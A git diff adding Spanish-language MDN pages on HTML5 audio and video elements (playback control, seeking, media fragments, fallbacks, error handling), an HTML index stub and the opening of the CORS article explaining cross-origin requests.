+<p>Aquí, especificamos que el vídeo usa los codecs Dirac y Speex. Si el navegador implementa Ogg, pero no los codecs especificados, el vídeo no será cargado.</p>
+
+<p>Si el atributo <code>type</code> no está especificado, el tipo de contenido multimedia se obtiene del servidor <span id="result_box" lang="es"><span class="hps">y</span> se <span class="hps">comprueba para</span> <span class="hps">ver</span> <span class="hps">si el navegador</span> <span class="hps">lo puede manejar</span></span>; si no puede ser mostrado, se comprueba el siguiente <code>source</code> , si ninguno de los elementos <code>source</code> especificados pueden ser usados, un evento de <code>error</code> es enviado al elemento <code>video</code>. Si el atributo <code>type</code> está especificado, es comparado con los tipos que el navegador puede reproducir, y si no es reconocido, no se hace la consulta al servidor; en su lugar, el siguiente <code>source</code> se comprueba una vez.</p>
+
+<p>Mira <a href="/en-US/docs/DOM/Media_events" title="https://developer.mozilla.org/en/DOM/Media_events">los eventos del contenido multimedia</a> para una lista completa de eventos asociados con la producción multimedia. Para detalles en los formatos multimedia soportados por los diferentes navegadores, mira <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Media formats supported by the audio and video elements">los formatos multimedia sportados por los elementos audio y video</a>.</p>
+
+<h2 id="Controlando_la_reproducción_multimedia">Controlando la reproducción multimedia</h2>
+
+<p>Una vez que has incrustado el contenido multimedia en tu documento HTML usando los nuevos elementos, puedes controlarlos mediante programación en JavaScript. Por ejemplo, para iniciar (o reiniciar) la reproducción, puedes hacer esto:</p>
+
+<pre class="brush: js">var v = document.getElementsByTagName("video")[0];
+v.play();
+</pre>
+
+<p>La primera línea obtiene el primer elemento video en el documento, y la segunda línea llama al método <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement#play()" title="nsIDOMHTMLMediaElement#play()"><code>play()</code></a> del elemento, como está definido en la interfaz {{ interface("nsIDOMHTMLMediaElement") }} que es usada para implementar los elementos multimedia.</p>
+
+<p>Controlar un reproductor de audio en HTML5 para reproducir, pausar, aumentar y disminuir el volumen usando algo de Javascript es muy sencillo.</p>
+
+<pre class="brush: html">&lt;audio id="demo" src="audio.mp3"&gt;&lt;/audio&gt;
+&lt;div&gt;
+  &lt;button onclick="document.getElementById('demo').play()"&gt;Reproducir el Audio&lt;/button&gt;
+  &lt;button onclick="document.getElementById('demo').pause()"&gt;Pausar el Audio&lt;/button&gt;
+  &lt;button onclick="document.getElementById('demo').volume+=0.1"&gt;Aumentar el Volumen&lt;/button&gt;
+  &lt;button onclick="document.getElementById('demo').volume-=0.1"&gt;Disminuir el Volumen&lt;/button&gt;
+&lt;/div&gt;
+</pre>
+
+<h2 id="Deteniendo_la_descarga_de_contenido_multimedia">Deteniendo la descarga de contenido multimedia</h2>
+
+<p>Mientras que detener la reproducción multimedia es tan fácil como llamar al método pause() del elemento, el navegador sigue descargando el contenido multimedia hasta que el elemento multimedia es eliminado <span id="result_box" lang="es"><span class="hps">a través de</span> <span class="hps">la recolección de basura</span></span>.</p>
+
+<p>Aquí un truco para detener la descarga de una sola vez:</p>
+
+<pre class="brush: js">var mediaElement = document.getElementById("myMediaElementID");
+mediaElement.pause();
+mediaElement.src = "";
+</pre>
+
+<p>Estableciendo una cadena vacía al atributo <code>src</code> del elemento multimedia, tu destruyes el decodificador interno del elemento con lo que detienes la descarga.</p>
+
+<h2 id="Buscando_a_través_de_los_medios" style="margin: 0px 0px 0.8em; padding: 0px;">Buscando a través de los medios</h2>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;"><font>Los elementos de los medios proporcionan apoyo para mover la posición de reproducción actual a puntos específicos en el contenido de los medios. </font>Esto se hace estableciendo el valor de la propiedad <code style="font-size: 14px;">horaActual</code> en el elemento; ver <a class="new" href="https://developer.mozilla.org/es/docs/Web/API/HTMLMediaElement" title="/ Es / docs / Web / API / HTMLMediaElement"><code style="font-size: 14px;">HTMLMediaElement</code></a> para más detalles sobre las propiedades del elemento. Basta con establecer el valor en el tiempo, en segundos, con el que desea reproducir para continuar.</p>
+
+<p><span style="line-height: 1.5em;">Usted puede utilizar el elemento </span><code style="font-size: 14px;">seekable</code><span style="line-height: 1.5em;"> propiedad para determinar los rangos de los medios de comunicación que están disponibles para la búsqueda de la actualidad. Esto devuelve un objeto </span><a class="new" href="https://developer.mozilla.org/es/docs/Web/API/TimeRanges" style="line-height: 1.5em;" title="/ Es / docs / Web / API / TimeRanges"><code style="font-size: 14px;">TimeRanges</code></a><span style="line-height: 1.5em;"> que enumera los rangos de veces que se puede tratar de:</span></p>
+
+<pre class="brush: js">var mediaElement = document.getElementById('mediaElementID');
+mediaElement.seekable.start();  // Returns the starting time (in seconds)
+mediaElement.seekable.end();    // Returns the ending time (in seconds)
+mediaElement.currentTime = 122; // Seek to 122 seconds
+mediaElement.played.end();      // Returns the number of seconds the browser has played
+</pre>
+
+<h2 id="Especificación_del_rango_de_reproducción" style="margin: 0px 0px 0.8em; padding: 0px;"><font>Especificación del rango de reproducción</font></h2>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;">Al especificar el URI de los medios de comunicación para un elemento <a href="https://developer.mozilla.org/es/docs/HTML/Elemento/audio"><code style="font-size: 14px;">&lt;audio&gt;</code></a> o <a href="https://developer.mozilla.org/es/docs/HTML/Elemento/video"><code style="font-size: 14px;">&lt;video&gt;</code></a> , puede incluir opcionalmente información adicional para especificar la parte de los medios a reproducir. Para ello, añada una almohadilla ("#"), seguida de la descripción del fragmento de medios.</p>
+
+<p><span style="line-height: 1.5em;">Un intervalo de tiempo se especifica mediante la sintaxis:</span></p>
+
+<pre>#t=[starttime][,endtime]</pre>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;"><font>El tiempo se puede especificar como un número de segundos (como un valor de punto flotante) o como una hora / minuto / segundo tiempo separado con dos puntos (por ejemplo, 2:05:01 durante 2 horas, 5 minutos y 1 segundo).</font></p>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;">Algunos ejemplos:</p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt style="margin: 0px; padding: 0px; line-height: 22px;"><span class="nowiki">http://foo.com/video.ogg # t = 10,20</span></dt>
+ <dd style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; line-height: 22px;">Especifica que el vídeo debe desempeñar el rango de 10 segundos a través de 20 segundos.</dd>
+ <dt style="margin: 0px; padding: 0px; line-height: 22px;"><span class="nowiki">http://foo.com/video.ogg # t =, 10.5</span></dt>
+ <dd style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; line-height: 22px;">Especifica que el vídeo se reproducirá desde el principio a través de 10,5 segundos.</dd>
+ <dt style="margin: 0px; padding: 0px; line-height: 22px;"><span class="nowiki">http://foo.com/video.ogg # t =, 02:00:00</span></dt>
+ <dd style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; line-height: 22px;">Especifica que el vídeo se reproducirá desde el principio a través de dos horas.</dd>
+ <dt style="margin: 0px; padding: 0px; line-height: 22px;"><span class="nowiki">http://foo.com/video.ogg # t = 60</span></dt>
+ <dd style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; line-height: 22px;">Especifica que el vídeo se debe reproducir desde los 60 segundos hasta el final.</dd>
+</dl>
+
+<div class="geckoVersionNote" style="">
+<p>{{ gecko_callout_heading("9.0") }}</p>
+<font><font>La porción rango de reproducción del elemento de la especificación URI media esta en Gecko 9.0 (Firefox 9.0 / Thunderbird 9.0 / SeaMonkey 2.6). </font><font>En este momento, esta es la única parte de la </font></font><a class="external" href="http://www.w3.org/TR/media-frags/" style="padding-right: 16px; line-height: 21px;" title="http://www.w3.org/TR/media-frags/"><font>especificación de los medios de comunicación Fragmentos URI</font></a><font><font>implementado por el Gecko, y sólo se puede utilizar cuando se especifica la fuente para los elementos de los medios de comunicación, y no en la barra de direcciones.</font></font>
+
+<p> </p>
+</div>
+
+<h2 id="Opciones_de_reserva" style="margin: 0px 0px 0.8em; padding: 0px;">Opciones de reserva</h2>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;">HTML incluido entre, por ejemplo, las etiquetas de apertura y cierre de los elementos de los medios de comunicación son procesados ​​por los navegadores que no admitan medios de HTML5. Usted puede tomar ventaja de este hecho para proporcionar medios alternativos de reserva para esos navegadores.</p>
+
+<p><span style="line-height: 1.5em;">Esta sección proporciona dos opciones de reserva para video. </span><font>En cada caso, si el navegador soporta vídeo HTML5, que se utiliza, de lo contrario, se utiliza la opción de reserva.</font></p>
+
+<h3 id="Utilización_de_Flash" style="margin: 0px 0px 0.8em; padding: 0px;">Utilización de Flash</h3>
+
+<p><span style="line-height: 1.5em;">Puede usar Flash para reproducir una película formato Flash si el </span><a href="https://developer.mozilla.org/es/docs/HTML/Elemento/video" style="line-height: 1.5em;"><code style="font-size: 14px;">&lt;video&gt;</code></a><span style="line-height: 1.5em;"> no se admite elemento</span><span style="line-height: inherit;">:</span></p>
+
+<pre class="brush: html">&lt;video src="video.ogv" controls&gt;
+    &lt;object data="flvplayer.swf" type="application/x-shockwave-flash"&gt;
+      &lt;param value="flvplayer.swf" name="movie"/&gt;
+    &lt;/object&gt;
+&lt;/video&gt;</pre>
+
+<p><font>Tenga en cuenta que no se debe incluir </font><code style="font-size: 14px;">classid</code><font> en el </font><code style="font-size: 14px;">objeto</code><font> tag con el fin de ser compatible con los navegadores que no sean Internet Explorer.</font></p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<h3 id="Reproducción_de_vídeos_Ogg_utilizando_un_applet_de_Java" style="margin: 0px 0px 0.8em; padding: 0px;"><font>Reproducción de vídeos Ogg utilizando un applet de Java</font></h3>
+
+<p><span style="line-height: 1.5em;">Hay un applet de Java llamada </span><a class="external" href="http://maikmerten.livejournal.com/2256.html" style="line-height: 1.5em; padding-right: 16px; background-color: transparent;" title="http://maikmerten.livejournal.com/2256.html">Cortado</a><span style="line-height: 1.5em;"> que se puede utilizar como reserva para reproducir vídeos Ogg en los navegadores que no tienen soporte para Java, pero no es compatible con vídeo HTML5</span><span style="line-height: inherit;">:</span></p>
+
+<pre class="brush: html">&lt;video src="my_ogg_video.ogg" controls width="320" height="240"&gt;
+  &lt;object type="application/x-java-applet" width="320" height="240"&gt;
+     &lt;param name="archive" value="cortado.jar"&gt;
+     &lt;param name="code" value="com.fluendo.player.Cortado.class"&gt;
+     &lt;param name="url" value="my_ogg_video.ogg"&gt;
+     &lt;p&gt;You need to install Java to play this file.&lt;/p&gt;
+  &lt;/object&gt;
+&lt;/video&gt;</pre>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;"><font>Si no se crea un elemento secundario alternativa del elemento de objeto cortado, como el </font><a href="https://developer.mozilla.org/es/docs/HTML/Elemento/p"><code style="font-size: 14px;"><font>&lt;p&gt;</font></code></a><font> elemento superior, Firefox 3.5 instalaciones que manejan el video de forma nativa, pero no tienen Java instalado incorrectamente informarán al usuario de que es necesario instalar un plugin para ver el contenido en la página.</font></p>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;"> </p>
+
+<div style="line-height: 22px;"><span class="geckoMinVerMethod indicatorInHeadline minVer">(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)</span>
+
+<h1 id="Gestión_de_errores" style="margin: 0px 0px 0.8em; padding: 0px; font-size: 1.857em;">Gestión de errores</h1>
+</div>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;"> </p>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;">A partir de Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1), el tratamiento de errores se ha revisado para que coincida con la última versión de la especificación HTML5. En lugar de que el <code style="font-size: 14px;">error sea</code> enviado al elemento en sí, ahora se entrega a los elementos "hijos" <a href="https://developer.mozilla.org/es/docs/HTML/Elemento/source"><code style="font-size: 14px;">&lt;source&gt;</code></a> correspondientes a las fuentes que resultan en el error.</p>
+
+<p><span style="line-height: 1.5em;">Esto permite detectar las fuentes no pudieron cargar, que puede ser útil. Considere este HTML</span><span style="line-height: inherit;">:</span></p>
+
+<pre class="brush: html">&lt;video&gt;
+&lt;source id="mp4_src"
+  src="video.mp4"
+  type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"'&gt;
+&lt;/source&gt;
+&lt;source id="3gp_src"
+  src="video.3gp"
+  type='video/3gpp; codecs="mp4v.20.8, samr"'&gt;
+&lt;/source&gt;
+&lt;source id="ogg_src"
+  src="video.ogv"
+  type='video/ogg; codecs="theora, vorbis"'&gt;
+&lt;/source&gt;
+&lt;/video&gt;</pre>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;">Dado que Firefox no es compatible con MP4 y 3GP, debido a su naturaleza de patente gravado, los <a href="https://developer.mozilla.org/es/docs/HTML/Elemento/source"><code style="font-size: 14px;">&lt;source&gt;</code></a> elementos con el ID "mp4_src" y "3gp_src" recibirán <code style="font-size: 14px;">error</code> eventos antes de cargar el recurso Ogg. Las fuentes son juzgados en el orden en el que aparecen, y una vez que uno carga con éxito, las fuentes restantes no se trataron en absoluto.</p>
+
+<h3 id="Detectar_si_las_fuentes_no_han_cargado" style="margin: 0px 0px 0.8em; padding: 0px;">Detectar si las fuentes no han cargado</h3>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;"><code>Para detectar qué todos los elementos </code><a href="https://developer.mozilla.org/es/docs/HTML/Elemento/source"><code style="font-size: 14px;">&lt;source&gt;</code></a> no han podido cargarse, se debe comprobar el valor de la propiedad <code style="font-size: 14px;">NetworkState</code> qué poseen todos los elementos de tipo multimedia. Si el valor es <code style="font-size: 14px;">HTMLMediaElement.NETWORK_NO_SOURCE</code>, se sabrá que las fuentes no se cargaron correctamente.</p>
+
+<p style="margin: 0px 0px 1.286em; padding: 0px; line-height: 1.5em;">Si en ese momento se agrega otra fuente mediante la inserción de un nuevo elemento <a href="https://developer.mozilla.org/es/docs/HTML/Elemento/source"><code style="font-size: 14px;">&lt;source&gt;</code></a> como hijo del elemento multimedia, Gecko intenta cargar el recurso especificado.</p>
+
+<h3 id="Mostrando_contenido_fallback_cuando_la_fuente_no_puede_ser_cargada">Mostrando contenido <em>fallback</em> cuando la fuente no puede ser cargada</h3>
+
+<p>Otra forma de mostrar el contenido <em>fallback</em> de un vídeo cuando ninguna de sus fuentes pudieron ser cargadas, es añadir un manejador de excepciones o errores en el último elemento {{ HTMLElement("source") }}. Así usted podrá reemplazar el vídeo con el contenido <em>fallback</em>:</p>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>video</span> <span class="attr-name token">controls</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>source</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>dynamicsearch.mp4<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>video/mp4<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>source</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>dynamicsearch.mp4<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>img</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>dynamicsearch.jpg<span class="punctuation token">"</span></span> <span class="attr-name token">alt</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>App de b&amp;uaacute;squeda din&amp;aacute;mica en Firefox OS<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Clic en la im&amp;aacute;gen para reproducir un v&amp;iacute;deo demo de la app de b&amp;uaacute;squeda din&amp;aacute;mica&lt;<span class="tag token"><span class="tag token"><span class="punctuation token">/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>video</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> v <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector<span class="punctuation token">(</span></span><span class="string token">'video'</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    sources <span class="operator token">=</span> v<span class="punctuation token">.</span><span class="function token">querySelectorAll<span class="punctuation token">(</span></span><span class="string token">'source'</span><span class="punctuation token">)</span><span class="punctuation token">,</span>
+    lastsource <span class="operator token">=</span> sources<span class="punctuation token">[</span>sources<span class="punctuation token">.</span>length<span class="number token">-1</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+lastsource<span class="punctuation token">.</span><span class="function token">addEventListener<span class="punctuation token">(</span></span><span class="string token">'error'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>ev<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> d <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement<span class="punctuation token">(</span></span><span class="string token">'div'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  d<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> v<span class="punctuation token">.</span>innerHTML<span class="punctuation token">;</span>
+  v<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">replaceChild<span class="punctuation token">(</span></span>d<span class="punctuation token">,</span> v<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="sect1" style="margin: 0px 0px 0.8em; padding: 0px;"> </h2>
+
+<h2 id="Véase_también" style="margin: 0px 0px 0.8em; padding: 0px;">Véase también</h2>
+
+<ul style="margin: 0px 0px 1.286em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; line-height: 22px;">
+ <li>Los elementos relacionados con los medios HTML: <a href="https://developer.mozilla.org/es/docs/HTML/Elemento/audio"><code style="font-size: 14px;">&lt;audio&gt;</code></a> , <a href="https://developer.mozilla.org/es/docs/HTML/Elemento/video"><code style="font-size: 14px;">&lt;video&gt;</code></a> , <a href="https://developer.mozilla.org/es/docs/HTML/Elemento/source"><code style="font-size: 14px;">&lt;source&gt;</code></a> ;</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Manipulating_video_using_canvas" title="Vídeo Manipular con tela">Vídeo Manipular con canvas</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Introducing_the_Audio_API_Extension" title="Presentación de la extensión de API Audio">Presentación de la extensión de API Audio</a></li>
+ <li><code style="font-size: 14px;"><a class="external" href="http://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIDOMHTMLMediaElement" style="padding-right: 16px; background-color: transparent;">nsIDOMHTMLMediaElement</a></code></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Formatos de los medios admitidos por los elementos de audio y vídeo">Formatos de los medios admitidos por los elementos de audio y vídeo</a></li>
+ <li><a class="external" href="http://en.flossmanuals.net/ogg-theora/" style="padding-right: 16px; background-color: transparent;" title="http://en.flossmanuals.net/ogg-theora/">Theora Cookbook</a></li>
+ <li><a class="external" href="http://popcornjs.org/" style="padding-right: 16px; background-color: transparent;" title="http://popcornjs.org/">Popcorn.js - Media Framework HTML5</a></li>
+ <li><a class="external" href="http://www.html5video.org/kaltura-html5/" style="padding-right: 16px; background-color: transparent;" title="http://www.html5video.org/kaltura-html5/">Kaltura Solución videoteca</a> , una biblioteca de JavaScript (mwEmbed) que soporta un retorno sin problemas con HTML5, VLC Player, Java Cortado y OMTK Vorbis reproductor de Flash. (Es utilizado por Wikimedia)</li>
+ <li><a class="external" href="http://omtk.org/flash/index.html" style="padding-right: 16px; background-color: transparent;" title="http://omtk.org/flash/index.html">OMTK - flash</a> , una biblioteca de Flash que implementa un decodificador Vorbis</li>
+ <li><a class="external" href="http://www.projekktor.com/" style="padding-right: 16px; background-color: transparent;" title="http://www.projekktor.com">Projekktor jugador</a> , un contenedor de JavaScript para audio vídeo-tags con fallback flash, de código abierto, GPL</li>
+ <li><a class="external" href="http://www.theora.org/cortado/" style="padding-right: 16px; background-color: transparent;" title="http://www.theora.org/cortado/">Applet Cortado</a> , una solución de reproducción de audio / vídeo en Java que mantiene Xiph.org</li>
+ <li><a class="external" href="http://videojs.com/" style="padding-right: 16px; background-color: transparent;" title="Video.js HTML5 Video Player">Video.JS</a> , un reproductor de vídeo HTML5 de código abierto y un marco.</li>
+ <li><a class="external" href="http://mediaelementjs.com/" style="padding-right: 16px; background-color: transparent;" title="http://mediaelementjs.com/">MediaElement.js</a> - marco audio / video HTML5 de código abierto con una cuña de Flash personalizada que imitan API multimedia HTML5 para exploradores más antiguos.</li>
+ <li><a class="external" href="http://www.hdwebplayer.com/" style="padding-right: 16px; background-color: transparent;" title="http://www.hdwebplayer.com">FLV Player</a> - HTML5 reserva soporte del reproductor de vídeo</li>
+</ul>
+
+<p><span style="line-height: inherit;">{{ HTML5ArticleTOC() }}</span></p>
diff --git a/files/es/web/html/índice/index.html b/files/es/web/html/índice/index.html
new file mode 100644
index 0000000000..5beb1776d4
--- /dev/null
+++ b/files/es/web/html/índice/index.html
@@ -0,0 +1,8 @@
+---
+title: Índice de la documentación HTML
+slug: Web/HTML/Índice
+tags:
+  - HTML
+translation_of: Web/HTML/Index
+---
+<p>{{Index("/es/docs/Web/HTML")}}</p>
diff --git a/files/es/web/http/access_control_cors/index.html b/files/es/web/http/access_control_cors/index.html
new file mode 100644
index 0000000000..efd60a179a
--- /dev/null
+++ b/files/es/web/http/access_control_cors/index.html
@@ -0,0 +1,491 @@
+---
+title: Control de acceso HTTP (CORS)
+slug: Web/HTTP/Access_control_CORS
+translation_of: Web/HTTP/CORS
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><span class="seoSummary">El Intercambio de Recursos de Origen Cruzado ({{Glossary("CORS")}})</span> es un mecanismo que utiliza cabeceras <span class="seoSummary">{{Glossary("HTTP")}}</span> adicionales para permitir que un <span class="seoSummary">{{Glossary("user agent")}}</span> obtenga permiso para acceder a recursos seleccionados desde un servidor, en un origen distinto (dominio) al que pertenece. Un agente crea una petición HTTP de origen cruzado cuando solicita un recurso desde un dominio distinto, un protocolo o un puerto diferente al del documento que lo generó.</p>
+
+<p>Un ejemplo de solicitud de origen cruzado: el código JavaScript frontend de una aplicación web que es localizada en <code>http://domain-a.com</code> utiliza {{domxref("XMLHttpRequest")}} para cargar el recurso <code>http://api.domain-b.com/data.json</code>.</p>
+
+<p>Por razones de seguridad, los exploradores restringen las solicitudes HTTP de origen cruzado iniciadas dentro de un script. Por ejemplo, <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> y la API <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> siguen la <a href="/en-US/docs/Web/Security/Same-origin_policy">política de mismo-origen</a>. Ésto significa que una aplicación que utilice esas APIs <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> sólo puede hacer solicitudes HTTP a su propio dominio, a menos que se utilicen cabeceras CORS.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 439px;"></p>
+
+<p>El <a href="http://www.w3.org/">W3C</a> <a href="http://www.w3.org/2008/webapps/">Grupo de Trabajo de Aplicaciones Web</a> recomienda el nuevo mecanismo de <a href="http://www.w3.org/TR/cors/">Intercambio de Recursos de Origen Cruzado</a> (CORS, por sus siglas en inglés). CORS da controles de acceso a dominios cruzados para servidores web y transferencia segura de datos en dominios cruzados entre navegadores y servidores Web. Los exploradores modernos utilizan CORS en un  <strong>contenedor API</strong> (como <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> o <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a>) para ayudar a mitigar los riesgos de solicitudes HTTP de origen cruzado.</p>
+
+<h2 id="¿Quién_debería_leer_este_artículo">¿Quién debería leer este artículo?</h2>
+
+<p>Todo el mundo, de verdad.</p>
+
+<p>Más específicamente, este artículo está dirigido a administradores web, desarrolladores de servidores y desarrolladores de interfaz. Los exploradores modernos manejan los componentes sobre el intercambio de origen cruzado del lado del cliente. Incluyendo cabeceras y políticas de ejecución. Pero, este nuevo estándar determina que los servidores tienen que manejar las nuevas solicitudes y las cabeceras de las respuestas. Se recomienda, como lectura suplementaria, otro artículo para desarrolladores de servidor que discute el <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">intercambio de origen cruzado desde una perspectiva de servidor (con fragmentos de código PHP)</a>.</p>
+
+<h2 id="¿Qué_peticiones_utiliza_CORS">¿Qué peticiones utiliza CORS?</h2>
+
+<p>Este <a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">estándar de intercambio de origen cruzado</a> es utilizado para habilitar solicitudes HTTP de sitios cruzados para:</p>
+
+<ul>
+ <li>Invocaciones de las APIs <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> o  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> en una manera de sitio cruzado, como se discutió arriba.</li>
+ <li>Fuentes Web (para usos de fuente en dominios cruzados <code>@font-face</code> dentro de CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements" title="http://www.webfonts.info/wiki/index.php?title=@font-face_support_in_Firefox">para que los servidores puedan mostrar fuentes TrueType que sólo puedan ser cargadas por sitios cruzados y usadas por sitios web que lo tengan permitido.</a></li>
+ <li>Texturas WebGL.</li>
+ <li>Imágenes dibujadas en patrones usando <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code>.</li>
+ <li>Hojas de estilo (para acceso <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a>).</li>
+ <li>Scripts (para excepciones inmutadas).</li>
+</ul>
+
+<p>Este artículo es una discusión general sobre Intercambio de Recursos de Origin Cruzado e incluye una discusión sobre las cabeceras HTTP.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El estándar de Intercambio de Recursos de Origen Cruzado trabaja añadiendo nuevas cabeceras HTTP que permiten a los servidores describir el conjunto de orígenes que tienen permiso para leer la información usando un explorador web.  Adicionalmente, para métodos de solicitud HTTP que causan efectos secundarios en datos del usuario (y en particular, para otros métodos HTTP distintos a <code>GET</code>, o para la utilización de <code>POST</code> con algunos tipos MIME), la especificación sugiere que los exploradores "verifiquen" la solicitud, solicitando métodos soportados desde el servidor con un método de solicitud HTTP <code>OPTIONS</code>, y luego, con la "aprobación" del servidor, enviar la verdadera solicitud con el método de solicitud HTTP verdadero. Los servidores pueden también notificar a los clientes cuando sus "credenciales" (incluyendo Cookies y datos de autenticación HTTP) deben ser enviados con solicitudes.</p>
+
+<p>Las secciones siguientes discuten escenarios, así como el análisis de las cabeceras HTTP usados.</p>
+
+<h2 id="Ejemplos_de_escenarios_de_control_de_accesos">Ejemplos de escenarios de control de accesos</h2>
+
+<p>Aquí, presentamos tres escenarios que ilustran cómo funciona el Intercambio de Recursos de Origen Cruzado. Todos estos ejemplos utilizan el objeto <code><a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest">XMLHttpRequest</a></code>, que puede ser utilizado para hacer invocaciones de sitios cruzados en cualquier explorador soportado.</p>
+
+<p>Los fragmentos de JavaScript incluidos en estas secciones (y las instancias ejecutadas del código servidor que correctamente maneja las solicitudes de sitios cruzados) <a class="external" href="http://arunranga.com/examples/access-control/" title="http://arunranga.com/examples/access-control/">pueden ser encontrados "en acción" aquí</a>, y pueden ser trabajados en exploradores que soportan <a class="internal" href="/en/DOM/XMLHttpRequest" title="En/XMLHttpRequest"><code>XMLHttpRequest</code></a> de sitios cruzados. Una discusión de Intercambio de Recursos de Origen Cruzado desde una <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control" title="En/Server-Side Access Control">perspectiva de servidor (incluyendo fragmentos de código PHP) puede ser encontrada aquí</a>.</p>
+
+<h3 id="Solicitudes_simples">Solicitudes simples</h3>
+
+<p>Una solicitud de sitio cruzado es aquella que cumple las siguientes condiciones:</p>
+
+<ul>
+ <li>Los únicos métodos aceptados son:
+  <ul>
+   <li>GET</li>
+   <li>HEAD</li>
+   <li>POST.</li>
+  </ul>
+ </li>
+ <li>Aparte de las cabeceras establecidas automáticamente por el agente usuario (ej. <code>Connection, User-Agent,</code>etc.), las únicas cabeceras que están permitidas para establecer manualmente son:
+  <ul>
+   <li><code>Accept</code></li>
+   <li><code>Accept-Language</code></li>
+   <li><code>Content-Language</code></li>
+   <li><code>Content-Type</code></li>
+  </ul>
+ </li>
+ <li>Los únicos valores permitidos de la cabecera <code>Content-Type</code> son:
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+</ul>
+
